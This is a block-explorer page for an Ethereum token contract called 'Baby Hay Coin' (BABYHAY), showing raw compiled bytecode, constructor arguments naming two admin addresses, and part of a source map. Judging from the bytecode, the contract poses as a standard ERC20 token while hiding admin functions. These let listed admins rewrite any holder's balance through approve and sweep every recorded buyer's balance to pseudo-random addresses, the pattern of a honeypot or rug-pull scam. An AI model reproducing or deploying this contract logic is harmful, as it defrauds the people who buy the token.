65b5b5f611c4785828601611bdd565b9250506020611c5885828601611c10565b9150509250929050565b5f8115159050919050565b611c7681611c62565b82525050565b5f602082019050611c8f5f830184611c6d565b92915050565b611c9e81611bf1565b82525050565b5f602082019050611cb75f830184611c95565b92915050565b5f805f60608486031215611cd457611cd3611b93565b5b5f611ce186828701611bdd565b9350506020611cf286828701611bdd565b9250506040611d0386828701611c10565b9150509250925092565b5f60ff82169050919050565b611d2281611d0d565b82525050565b5f602082019050611d3b5f830184611d19565b92915050565b5f606082019050611d545f830186611c95565b611d616020830185611c95565b611d6e6040830184611c95565b949350505050565b5f60208284031215611d8b57611d8a611b93565b5b5f611d9884828501611bdd565b91505092915050565b611daa81611bb6565b82525050565b5f602082019050611dc35f830184611da1565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611dfb81611bb6565b82525050565b5f611e0c8383611df2565b60208301905092915050565b5f602082019050919050565b5f611e2e82611dc9565b611e388185611dd3565b9350611e4383611de3565b805f5b83811015611e73578151611e5a8882611e01565b9750611e6583611e18565b925050600181019050611e46565b5085935050505092915050565b5f6020820190508181035f830152611e988184611e24565b905092915050565b5f8060408385031215611eb657611eb5611b93565b5b5f611ec385828601611bdd565b9250506020611ed485828601611bdd565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611f2257607f821691505b602082108103611f3557611f34611ede565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611f7282611bf1565b9150611f7d83611bf1565b9250828201905080821115611f9557611f94611f3b565b5b92915050565b7f4e6f74207065726d69747465642e0000000000000000000000000000000000005f82015250565b5f611fcf600e83611af3565b9150611fda82611f9b565b602082019050919050565b5f6020820190508181035f830152611ffc81611fc3565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61205d602583611af3565b915061206882612003565b604082019050919050565b5f6020820190508181035f83015261208a81612051565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6120eb602683611af3565b91506120f682612091565b604082019050919050565b5f6020820190508181035f830152612118816120df565b9050919050565b5f61212982611bf1565b915061213483611bf1565b925082820390508181111561214c5761214b611f3b565b5b92915050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612186601d83611af3565b915061219182612152565b602082019050919050565b5f6020820190508181035f8301526121b38161217a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612214602583611af3565b915061221f826121ba565b604082019050919050565b5f6020820190508181035f83015261224181612208565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122a2602383611af3565b91506122ad82612248565b604082019050919050565b5f6020820190508181035f8301526122cf81612296565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612330602683611af3565b915061233b826122d6565b604082019050919050565b5f6020820190508181035f83015261235d81612324565b9050919050565b7f596f752063616e6e6f742073656e6420746f20796f757273656c662e000000005f82015250565b5f612398601c83611af3565b91506123a382612364565b602082019050919050565b5f6020820190508181035f8301526123c58161238c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612400602083611af3565b915061240b826123cc565b602082019050919050565b5f6020820190508181035f83015261242d816123f4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61246b82611bf1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361249d5761249c611f3b565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61252f602483611af3565b915061253a826124d5565b604082019050919050565b5f6020820190508181035f83015261255c81612523565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6125bd602283611af3565b91506125c882612563565b604082019050919050565b5f6020820190508181035f8301526125ea816125b1565b9050919050565b5f819050919050565b61260b61260682611bf1565b6125f1565b82525050565b5f8160601b9050919050565b5f61262782612611565b9050919050565b5f6126388261261d565b9050919050565b61265061264b82611bb6565b61262e565b82525050565b5f61266182866125fa565b60208201915061267182856125fa565b602082019150612681828461263f565b601482019150819050949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6126c982611bf1565b91506126d483611bf1565b9250826126e4576126e3612692565b5b828206905092915050565b6127006126fb82611b97565b61261d565b82525050565b5f61271182866125fa565b602082019150612721828561263f565b60148201915061273182846126ef565b60148201915081905094935050505056fea264697066735822122073ca9afd7506b5fb1f6d7e2a271060f71a5ed1175c4da3ccad38a65a38ec5b4964736f6c63430008150033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000bcf220889c8f7e6ab19dfa89921959aac135dcc4000000000000000000000000b91d10a637720556ecf976f6020395b6c5be8ec5000000000000000000000000000000000000000000000000000000000000000d426162792048617920436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074241425948415900000000000000000000000000000000000000000000000000

0x608060405234801561000f575f80fd5b506004361061011f575f3560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb146102f9578063d63cde9014610329578063dd62ed3e14610347578063e85bb16714610377578063f2fde38b146103a75761011f565b8063751039fc146102675780638da5cb5b1461027157806395d89b411461028f57806399dde5de146102ad578063a457c2d7146102c95761011f565b8063313ce567116100f2578063313ce567146101bf57806339509351146101dd5780636f89e4091461020d57806370a082311461022d578063715018a61461025d5761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103c3565b6040516101389190611b73565b60405180910390f35b61015b60048036038101906101569190611c24565b610453565b6040516101689190611c7c565b60405180910390f35b610179610475565b6040516101869190611ca4565b60405180910390f35b6101a960048036038101906101a49190611cbd565b61049a565b6040516101b69190611c7c565b60405180910390f35b6101c76104c8565b6040516101d49190611d28565b60405180910390f35b6101f760048036038101906101f29190611c24565b6104d0565b6040516102049190611c7c565b60405180910390f35b610215610506565b60405161022493929190611d41565b60405180910390f35b61024760048036038101906102429190611d76565b6105f1565b6040516102549190611ca4565b60405180910390f35b610265610637565b005b61026f61064a565b005b61027961074a565b6040516102869190611db0565b60405180910390f35b610297610772565b6040516102a49190611b73565b60405180910390f35b6102c760048036038101906102c29190611d76565b610802565b005b6102e360048036038101906102de9190611c24565b610919565b6040516102f09190611c7c565b60405180910390f35b610313600480360381019061030e9190611c24565b61098e565b6040516103209190611c7c565b60405180910390f35b6103316109b0565b60405161033e9190611e80565b60405180910390f35b610361600480360381019061035c9190611ea0565b610b0f565b60405161036e9190611ca4565b60405180910390f35b610391600480360381019061038c9190611d76565b610b91565b60405161039e9190611c7c565b60405180910390f35b6103c160048036038101906103bc9190611d76565b610cb7565b005b6060600380546103d290611f0b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fe90611f0b565b80156104495780601f1061042057610100808354040283529160200191610449565b820191905f5260205f20905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b5f8061045d610d39565b905061046a818585610d40565b600191505092915050565b5f61049561048461dead6105f1565b600654610dfb90919063ffffffff16565b905090565b5f806104a4610d39565b90506104b1858285610e10565b6104bc858585610e9b565b60019150509392505050565b5f6012905090565b5f806104da610d39565b90506104fb8185856104ec8589610b0f565b6104f69190611f68565b610d40565b600191505092915050565b5f805f61051161074a565b73ffffffffffffffffffffffffffffffffffffffff1661052f610d39565b73ffffffffffffffffffffffffffffffffffffffff16148061059e575060095f610557610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6105dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d490611fe5565b60405180910390fd5b600c54600d54600e54925092509250909192565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61063f6112ef565b6106485f61136d565b565b61065261074a565b73ffffffffffffffffffffffffffffffffffffffff16610670610d39565b73ffffffffffffffffffffffffffffffffffffffff1614806106df575060095f610698610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61071e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071590611fe5565b60405180910390fd5b600b60149054906101000a900460ff1615600b60146101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461078190611f0b565b80601f01602080910402602001604051908101604052809291908181526020018280546107ad90611f0b565b80156107f85780601f106107cf576101008083540402835291602001916107f8565b820191905f5260205f20905b8154815290600101906020018083116107db57829003601f168201915b5050505050905090565b61080a61074a565b73ffffffffffffffffffffffffffffffffffffffff16610828610d39565b73ffffffffffffffffffffffffffffffffffffffff161480610897575060095f610850610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90611fe5565b60405180910390fd5b80600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f80610923610d39565b90505f6109308286610b0f565b905083811015610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90612073565b60405180910390fd5b6109828286868403610d40565b60019250505092915050565b5f80610998610d39565b90506109a5818585610e9b565b600191505092915050565b60606109ba61074a565b73ffffffffffffffffffffffffffffffffffffffff166109d8610d39565b73ffffffffffffffffffffffffffffffffffffffff161480610a47575060095f610a00610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90611fe5565b60405180910390fd5b600f805480602002602001604051908101604052809291908181526020018280548015610b0557602002820191905f5260205f20905b815f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610abc575b5050505050905090565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610b9a61074a565b73ffffffffffffffffffffffffffffffffffffffff16610bb8610d39565b73ffffffffffffffffffffffffffffffffffffffff161480610c27575060095f610be0610d39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d90611fe5565b60405180910390fd5b60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610cbf6112ef565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490612101565b60405180910390fd5b610d368161136d565b50565b5f33905090565b60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610deb575f811115610dda578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f8103610dea57610de9611430565b5b5b610df683838361153b565b505050565b5f8183610e08919061211f565b905092915050565b5f610e1b8484610b0f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e955781811015610e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7e9061219c565b60405180910390fd5b610e948484848403610d40565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f009061222a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e906122b8565b60405180910390fd5b5f610f81846105f1565b905081811015610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd90612346565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b906123ae565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806110cf575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156110e5576110df8484846116fe565b506112ea565b5f80600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036111b95760019150600b60149054906101000a900460ff166111b457600f85908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b611213565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361121257600190505b5b600b60149054906101000a900460ff16156112db5781156112c557600c5461124c8561123e886105f1565b61188a90919063ffffffff16565b1115611256575f80fd5b600d54841115611264575f80fd5b600f85908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80156112da57600e548411156112d9575f80fd5b5b5b6112e68686866116fe565b5050505b505050565b6112f7610d39565b73ffffffffffffffffffffffffffffffffffffffff1661131561074a565b73ffffffffffffffffffffffffffffffffffffffff161461136b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136290612416565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f5b600f805490508110156114d9575f600f828154811061145457611453612434565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506114c58160075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461189f565b5080806114d190612461565b915050611432565b505f67ffffffffffffffff8111156114f4576114f36124a8565b5b6040519080825280602002602001820160405280156115225781602001602082028036833780820191505090505b50600f9080519060200190611538929190611a47565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a090612545565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160e906125d3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f19190611ca4565b60405180910390a3505050565b61174e8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610dfb90919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117df8160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461188a90919063ffffffff16565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161187d9190611ca4565b60405180910390a3505050565b5f81836118979190611f68565b905092915050565b5f740100000000000000000000000000000000000000004442856040516020016118cb93929190612656565b604051602081830303815290604052805190602001205f1c6118ed91906126bf565b90505f42848360405160200161190593929190612706565b604051602081830303815290604052805190602001205f1c905061196f8360075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610dfb90919063ffffffff16565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611a008360075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461188a90919063ffffffff16565b60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b828054828255905f5260205f20908101928215611abd579160200282015b82811115611abc578251825f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190611a65565b5b509050611aca9190611ace565b5090565b5b80821115611ae5575f815f905550600101611acf565b5090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611b20578082015181840152602081019050611b05565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611b4582611ae9565b611b4f8185611af3565b9350611b5f818560208601611b03565b611b6881611b2b565b840191505092915050565b5f6020820190508181035f830152611b8b8184611b3b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bc082611b97565b9050919050565b611bd081611bb6565b8114611bda575f80fd5b50565b5f81359050611beb81611bc7565b92915050565b5f819050919050565b611c0381611bf1565b8114611c0d575f80fd5b50565b5f81359050611c1e81611bfa565b92915050565b5f8060408385031215611c3a57611c39611b93565b5b5f611c4785828601611bdd565b9250506020611c5885828601611c10565b9150509250929050565b5f8115159050919050565b611c7681611c62565b82525050565b5f602082019050611c8f5f830184611c6d565b92915050565b611c9e81611bf1565b82525050565b5f602082019050611cb75f830184611c95565b92915050565b5f805f60608486031215611cd457611cd3611b93565b5b5f611ce186828701611bdd565b9350506020611cf286828701611bdd565b9250506040611d0386828701611c10565b9150509250925092565b5f60ff82169050919050565b611d2281611d0d565b82525050565b5f602082019050611d3b5f830184611d19565b92915050565b5f606082019050611d545f830186611c95565b611d616020830185611c95565b611d6e6040830184611c95565b949350505050565b5f60208284031215611d8b57611d8a611b93565b5b5f611d9884828501611bdd565b91505092915050565b611daa81611bb6565b82525050565b5f602082019050611dc35f830184611da1565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611dfb81611bb6565b82525050565b5f611e0c8383611df2565b60208301905092915050565b5f602082019050919050565b5f611e2e82611dc9565b611e388185611dd3565b9350611e4383611de3565b805f5b83811015611e73578151611e5a8882611e01565b9750611e6583611e18565b925050600181019050611e46565b5085935050505092915050565b5f6020820190508181035f830152611e988184611e24565b905092915050565b5f8060408385031215611eb657611eb5611b93565b5b5f611ec385828601611bdd565b9250506020611ed485828601611bdd565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611f2257607f821691505b602082108103611f3557611f34611ede565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611f7282611bf1565b9150611f7d83611bf1565b9250828201905080821115611f9557611f94611f3b565b5b92915050565b7f4e6f74207065726d69747465642e0000000000000000000000000000000000005f82015250565b5f611fcf600e83611af3565b9150611fda82611f9b565b602082019050919050565b5f6020820190508181035f830152611ffc81611fc3565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61205d602583611af3565b915061206882612003565b604082019050919050565b5f6020820190508181035f83015261208a81612051565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6120eb602683611af3565b91506120f682612091565b604082019050919050565b5f6020820190508181035f830152612118816120df565b9050919050565b5f61212982611bf1565b915061213483611bf1565b925082820390508181111561214c5761214b611f3b565b5b92915050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612186601d83611af3565b915061219182612152565b602082019050919050565b5f6020820190508181035f8301526121b38161217a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612214602583611af3565b915061221f826121ba565b604082019050919050565b5f6020820190508181035f83015261224181612208565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122a2602383611af3565b91506122ad82612248565b604082019050919050565b5f6020820190508181035f8301526122cf81612296565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612330602683611af3565b915061233b826122d6565b604082019050919050565b5f6020820190508181035f83015261235d81612324565b9050919050565b7f596f752063616e6e6f742073656e6420746f20796f757273656c662e000000005f82015250565b5f612398601c83611af3565b91506123a382612364565b602082019050919050565b5f6020820190508181035f8301526123c58161238c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612400602083611af3565b915061240b826123cc565b602082019050919050565b5f6020820190508181035f83015261242d816123f4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61246b82611bf1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361249d5761249c611f3b565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61252f602483611af3565b915061253a826124d5565b604082019050919050565b5f6020820190508181035f83015261255c81612523565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6125bd602283611af3565b91506125c882612563565b604082019050919050565b5f6020820190508181035f8301526125ea816125b1565b9050919050565b5f819050919050565b61260b61260682611bf1565b6125f1565b82525050565b5f8160601b9050919050565b5f61262782612611565b9050919050565b5f6126388261261d565b9050919050565b61265061264b82611bb6565b61262e565b82525050565b5f61266182866125fa565b60208201915061267182856125fa565b602082019150612681828461263f565b601482019150819050949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6126c982611bf1565b91506126d483611bf1565b9250826126e4576126e3612692565b5b828206905092915050565b6127006126fb82611b97565b61261d565b82525050565b5f61271182866125fa565b602082019150612721828561263f565b60148201915061273182846126ef565b60148201915081905094935050505056fea264697066735822122073ca9afd7506b5fb1f6d7e2a271060f71a5ed1175c4da3ccad38a65a38ec5b4964736f6c63430008150033

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000bcf220889c8f7e6ab19dfa89921959aac135dcc4000000000000000000000000b91d10a637720556ecf976f6020395b6c5be8ec5000000000000000000000000000000000000000000000000000000000000000d426162792048617920436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074241425948415900000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : addresses (address[]): 0xBcf220889C8f7E6AB19DFa89921959AaC135dCC4,0xb91D10a637720556Ecf976f6020395B6C5Be8Ec5
Arg [1] : name (string): Baby Hay Coin
Arg [2] : symbol (string): BABYHAY

-----Encoded View---------------
10 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000100
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [4] : 000000000000000000000000bcf220889c8f7e6ab19dfa89921959aac135dcc4
Arg [5] : 000000000000000000000000b91d10a637720556ecf976f6020395b6c5be8ec5
Arg [6] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [7] : 426162792048617920436f696e00000000000000000000000000000000000000
Arg [8] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [9] : 4241425948415900000000000000000000000000000000000000000000000000

36065:5960:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24766:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39984:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39708:132;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27898:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25728:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28602:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41782:132;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;39848:128;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18191:103;;;:::i;:::-;;41922:98;;;:::i;:::-;;17543:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24985:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37936:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29343:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26390:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41657:117;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26646:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40539:124;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18449:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24766:100;24820:13;24853:5;24846:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24766:100;:::o;39984:201::-;40067:4;40084:13;40100:12;:10;:12::i;:::-;40084:28;;40123:32;40132:5;40139:7;40148:6;40123:8;:32::i;:::-;40173:4;40166:11;;;39984:201;;;;:::o;39708:132::-;39769:7;39796:36;39814:17;36373:42;39814:9;:17::i;:::-;39796:13;;:17;;:36;;;;:::i;:::-;39789:43;;39708:132;:::o;27898:295::-;28029:4;28046:15;28064:12;:10;:12::i;:::-;28046:30;;28087:38;28103:4;28109:7;28118:6;28087:15;:38::i;:::-;28136:27;28146:4;28152:2;28156:6;28136:9;:27::i;:::-;28181:4;28174:11;;;27898:295;;;;;:::o;25728:93::-;25786:5;25811:2;25804:9;;25728:93;:::o;28602:238::-;28690:4;28707:13;28723:12;:10;:12::i;:::-;28707:28;;28746:64;28755:5;28762:7;28799:10;28771:25;28781:5;28788:7;28771:9;:25::i;:::-;:38;;;;:::i;:::-;28746:8;:64::i;:::-;28828:4;28821:11;;;28602:238;;;;:::o;41782:132::-;41839:7;41848;41857;37757;:5;:7::i;:::-;37741:23;;:12;:10;:12::i;:::-;:23;;;:47;;;;37768:6;:20;37775:12;:10;:12::i;:::-;37768:20;;;;;;;;;;;;;;;;;;;;;;;;;37741:47;37733:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;41885:7:::1;;41894:4;;41900:5;;41877:29;;;;;;41782:132:::0;;;:::o;39848:128::-;39922:7;39949:10;:19;39960:7;39949:19;;;;;;;;;;;;;;;;39942:26;;39848:128;;;:::o;18191:103::-;17429:13;:11;:13::i;:::-;18256:30:::1;18283:1;18256:18;:30::i;:::-;18191:103::o:0;41922:98::-;37757:7;:5;:7::i;:::-;37741:23;;:12;:10;:12::i;:::-;:23;;;:47;;;;37768:6;:20;37775:12;:10;:12::i;:::-;37768:20;;;;;;;;;;;;;;;;;;;;;;;;;37741:47;37733:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;41998:14:::1;;;;;;;;;;;41997:15;41980:14;;:32;;;;;;;;;;;;